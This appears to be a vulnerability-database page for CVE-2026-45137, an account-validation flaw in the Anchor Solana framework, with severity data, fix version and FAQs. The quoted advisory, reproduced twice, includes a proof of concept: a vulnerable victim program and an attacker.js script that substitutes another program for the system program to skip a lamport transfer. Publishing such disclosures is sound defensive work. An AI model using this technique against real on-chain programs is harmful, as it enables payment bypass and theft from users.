CVE-2026-45137: Anchor Program<'info, System> Is Not Properly Vulnerability

HIGH
Advisory Identifier: GHSA-c6rc-8jpp-2fgc
CVSS 8.2
CWE-20
Published
Advisory Summary

CVE-2026-45137 is a HIGH (CVSS 8.2) program<'info, system> is not properly vulnerability (CWE-20: Improper Input Validation) affecting Anchor libraries in the crates.io ecosystem. The issue involves program<'info, system> is not properly validated. Remediation is available by upgrading affected packages to version 1.0.2.

CVE-2026-45137 at a Glance

CVE Identifier CVE-2026-45137
GHSA Identifier GHSA-c6rc-8jpp-2fgc
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-20: Improper Input Validation
Affected Product Anchor
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-45137

To remediate this vulnerability, upgrade all affected Anchor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

anchor-lang fixed: 1.0.2
Upgrade anchor-lang to 1.0.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for anchor-lang

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-45137, inspect your project dependencies for Anchor:

inspect dependencies for anchor-lang

Analyze the terminal output to locate any version of Anchor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Anchor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions. ### Details In the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program. https://github.com/solana-foundation/anchor/blob/5ff3f96eeda91cc54b7fa525631eb8c1394fda04/lang/src/accounts/program.rs#L148-L163 ### PoC Build and deploy the following anchor program: ```rs /// victim.rs /// an anchor program that uses the system program in some way. use anchor_lang::prelude::*; use anchor_lang::prelude::program::invoke; use anchor_lang::prelude::instruction::Instruction; #[derive(Accounts)] pub struct Initialize<'info> { #[account(mut)] pub sender: Signer<'info>, #[account(mut)] pub recipient: SystemAccount<'info>, // the "System" part here should ensure that callers can only pass the system program. pub system_program: Program<'info, System>, } pub fn handler(ctx: Context<Initialize>, amount: u64) -> Result<()> { // this should be the system program id, but due to an issue in the validation logic, this could be any program id. msg!("System program: {:?}", ctx.accounts.system_program.key()); // construct a transfer instruction // note that not only raw instructions, but also any other instruction // builders that properly forward the passed in program id are vulnerable. let mut data = Vec::new(); data.extend_from_slice(&[2, 0, 0, 0]); // transfer discriminator data.extend_from_slice(&amount.to_le_bytes()); // amount let accounts = vec![ AccountMeta::new(ctx.accounts.sender.key(), true), AccountMeta::new(ctx.accounts.recipient.key(), false), ]; let ix = Instruction { program_id: ctx.accounts.system_program.key(), accounts, data, }; let account_infos = [ ctx.accounts.sender.to_account_info(), ctx.accounts.recipient.to_account_info(), ctx.accounts.system_program.to_account_info(), ]; // invoke the transfer instruction invoke(&ix, &account_infos)?; Ok(()) } ``` Run the following javascript code in the project after installing @coral-xyz/anchor and @solana/web3.js ```js /// attacker.js /// a script that exploits the vulnerability in the victim program, in this case it simply causes the transfer to never happen /// while the victim program thinks it has happened. import { Connection, Keypair, PublicKey, SystemProgram } from "@solana/web3.js"; import { AnchorProvider, Program, Wallet } from "@coral-xyz/anchor"; import BN from "bn.js"; import fs from "fs"; import idl from "./victim_idl.json" with { type: "json" }; // the idl of the victim program, generated by `anchor build` const keypair = Keypair.generate(); const receiver = Keypair.generate(); const connection = new Connection("http://localhost:8899", "confirmed"); const provider = new AnchorProvider(connection, new Wallet(keypair), {}); async function airdrop(publicKey, amount) { const tx = await connection.requestAirdrop(publicKey, amount); await connection.confirmTransaction(tx); console.log(`Airdropped ${amount} lamports to ${publicKey.toBase58()}`); } async function printBalance(publicKey) { const balance = await connection.getBalance(publicKey); console.log(`Balance of ${publicKey.toBase58()}: ${balance} lamports`); } await airdrop(keypair.publicKey, 1e9); await airdrop(receiver.publicKey, 1e9); const program = new Program(idl, provider); const tx = await program.methods .initialize(new BN(1e9 / 2)) .accounts({ sender: keypair.publicKey, recipient: receiver.publicKey, // we pass the compute budget program instead of the system program // the victim will call the compute budget program thinking it's the system program, and the transfer will never happen. // if we comment this out, anchor will pass in the system program and the transfer will succeed systemProgram: new PublicKey("ComputeBudget111111111111111111111111111111"), }) .rpc(); console.log("Transaction signature:", tx); await connection.confirmTransaction(tx); // Check balances await printBalance(keypair.publicKey); await printBalance(receiver.publicKey); /* expected balances: 499995000 1500000000 actual balances: 999995000 1000000000 */ ``` Inspect the solana validator logs and javascript output, you'll see the program did not transfer any lamports. If you uncomment the systemProgram account override in the javascript code and rerun it, you'll see the victim program behaves as expected and lamports are actually transferred. ### Impact This is an account validation bypass, impacting on-chain programs that rely on the system program. It allows for potential CPI and payment bypasses, amongst other issues such as accounts being created through CPI that should be owned by system program now being owned by an attacker controlled program.

CVE-2026-45137 Affected Anchor Versions

1 component(s)
Fixed Versions:
1.0.2
Product / Package Ecosystem Affected Versions Fixed Version
anchor-lang
crates.io
≥ 1.0.0
< 1.0.2
1.0.2

References

Frequently Asked Questions

What is CVE-2026-45137?
CVE-2026-45137 is a security vulnerability in Anchor involving Program<'info, System> is not properly validated under CWE-20: Improper Input Validation.
Which Anchor versions are affected?
Affected versions include releases prior to 1.0.2 across affected packages: anchor-lang.
What version fixes CVE-2026-45137?
Upgrading to 1.0.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is anchor-lang affected?
Yes, anchor-lang is affected in releases prior to 1.0.2. Upgrade your dependency to 1.0.2 or later.
What is the CVSS score of CVE-2026-45137?
CVE-2026-45137 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N.
What CWE is associated with CVE-2026-45137?
CVE-2026-45137 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check crates.io dependencies for CVE-2026-45137?
Run the dependency tree command: 'inspect dependencies for anchor-lang'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c6rc-8jpp-2fgc",
  "modified" : "2026-06-08T23:54:37Z",
  "published" : "2026-05-13T15:31:49Z",
  "aliases" : [ "CVE-2026-45137" ],
  "summary" : "Anchor: Program<'info, System> is not properly validated",
  "details" : "### Summary\nAn logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions.\n\n### Details\nIn the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program.\n\nhttps://github.com/solana-foundation/anchor/blob/5ff3f96eeda91cc54b7fa525631eb8c1394fda04/lang/src/accounts/program.rs#L148-L163\n\n### PoC\nBuild and deploy the following anchor program:\n```rs\n/// victim.rs\n/// an anchor program that uses the system program in some way.\n\nuse anchor_lang::prelude::*;\nuse anchor_lang::prelude::program::invoke;\nuse anchor_lang::prelude::instruction::Instruction;\n\n#[derive(Accounts)]\npub struct Initialize<'info> {\n    #[account(mut)]\n    pub sender: Signer<'info>,\n    #[account(mut)]\n    pub recipient: SystemAccount<'info>,\n    // the \"System\" part here should ensure that callers can only pass the system program.\n    pub system_program: Program<'info, System>,\n}\n\npub fn handler(ctx: Context<Initialize>, amount: u64) -> Result<()> {\n    // this should be the system program id, but due to an issue in the validation logic, this could be any program id.\n    msg!(\"System program: {:?}\", ctx.accounts.system_program.key());\n\n    // construct a transfer instruction\n    // note that not only raw instructions, but also any other instruction\n    // builders that properly forward the passed in program id are vulnerable.\n    let mut data = Vec::new();\n    data.extend_from_slice(&[2, 0, 0, 0]);  // transfer discriminator\n    data.extend_from_slice(&amount.to_le_bytes());  // amount\n\n    let accounts = vec![\n        AccountMeta::new(ctx.accounts.sender.key(), true),\n        AccountMeta::new(ctx.accounts.recipient.key(), false),\n    ];\n\n    let ix = Instruction {\n        program_id: ctx.accounts.system_program.key(),\n        accounts,\n        data,\n    };\n\n    let account_infos = [\n        ctx.accounts.sender.to_account_info(),\n        ctx.accounts.recipient.to_account_info(),\n        ctx.accounts.system_program.to_account_info(),\n    ];\n\n    // invoke the transfer instruction\n    invoke(&ix, &account_infos)?;\n\n    Ok(())\n}\n```\n\nRun the following javascript code in the project after installing @coral-xyz/anchor and @solana/web3.js\n\n```js\n/// attacker.js\n/// a script that exploits the vulnerability in the victim program, in this case it simply causes the transfer to never happen\n/// while the victim program thinks it has happened.\n\nimport { Connection, Keypair, PublicKey, SystemProgram } from \"@solana/web3.js\";\nimport { AnchorProvider, Program, Wallet } from \"@coral-xyz/anchor\";\nimport BN from \"bn.js\";\nimport fs from \"fs\";\nimport idl from \"./victim_idl.json\" with { type: \"json\" };  // the idl of the victim program, generated by `anchor build`\n\nconst keypair = Keypair.generate();\nconst receiver = Keypair.generate();\n\nconst connection = new Connection(\"http://localhost:8899\", \"confirmed\");\nconst provider = new AnchorProvider(connection, new Wallet(keypair), {});\n\nasync function airdrop(publicKey, amount) {\n    const tx = await connection.requestAirdrop(publicKey, amount);\n    await connection.confirmTransaction(tx);\n    console.log(`Airdropped ${amount} lamports to ${publicKey.toBase58()}`);\n}\n\nasync function printBalance(publicKey) {\n    const balance = await connection.getBalance(publicKey);\n    console.log(`Balance of ${publicKey.toBase58()}: ${balance} lamports`);\n}\n\nawait airdrop(keypair.publicKey, 1e9);\nawait airdrop(receiver.publicKey, 1e9);\n\nconst program = new Program(idl, provider);\n\nconst tx = await program.methods\n    .initialize(new BN(1e9 / 2))\n    .accounts({\n        sender: keypair.publicKey,\n        recipient: receiver.publicKey,\n        // we pass the compute budget program instead of the system program\n        // the victim will call the compute budget program thinking it's the system program, and the transfer will never happen.\n        // if we comment this out, anchor will pass in the system program and the transfer will succeed\n        systemProgram: new PublicKey(\"ComputeBudget111111111111111111111111111111\"),\n    })\n    .rpc();\n\nconsole.log(\"Transaction signature:\", tx);\nawait connection.confirmTransaction(tx);\n\n// Check balances\nawait printBalance(keypair.publicKey);\nawait printBalance(receiver.publicKey);\n\n/*\n\nexpected balances:\n499995000\n1500000000\n\nactual balances:\n999995000\n1000000000\n\n*/\n```\n\nInspect the solana validator logs and javascript output, you'll see the program did not transfer any lamports.\n\nIf you uncomment the systemProgram account override in the javascript code and rerun it, you'll see the victim program behaves as expected and lamports are actually transferred.\n\n### Impact\nThis is an account validation bypass, impacting on-chain programs that rely on the system program. It allows for potential CPI and payment bypasses, amongst other issues such as accounts being created through CPI that should be owned by system program now being owned by an attacker controlled program.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "anchor-lang"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.0"
      }, {
        "fixed" : "1.0.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/otter-sec/anchor/security/advisories/GHSA-c6rc-8jpp-2fgc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/solana-foundation/anchor/security/advisories/GHSA-c6rc-8jpp-2fgc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45137"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/solana-foundation/anchor"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/solana-foundation/anchor/releases/tag/v1.0.2"
  }, {
    "type" : "WEB",
    "url" : "https://rustsec.org/advisories/RUSTSEC-2026-0144.html"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-13T15:31:49Z",
    "nvd_published_at" : "2026-05-27T21:16:18Z"
  }
}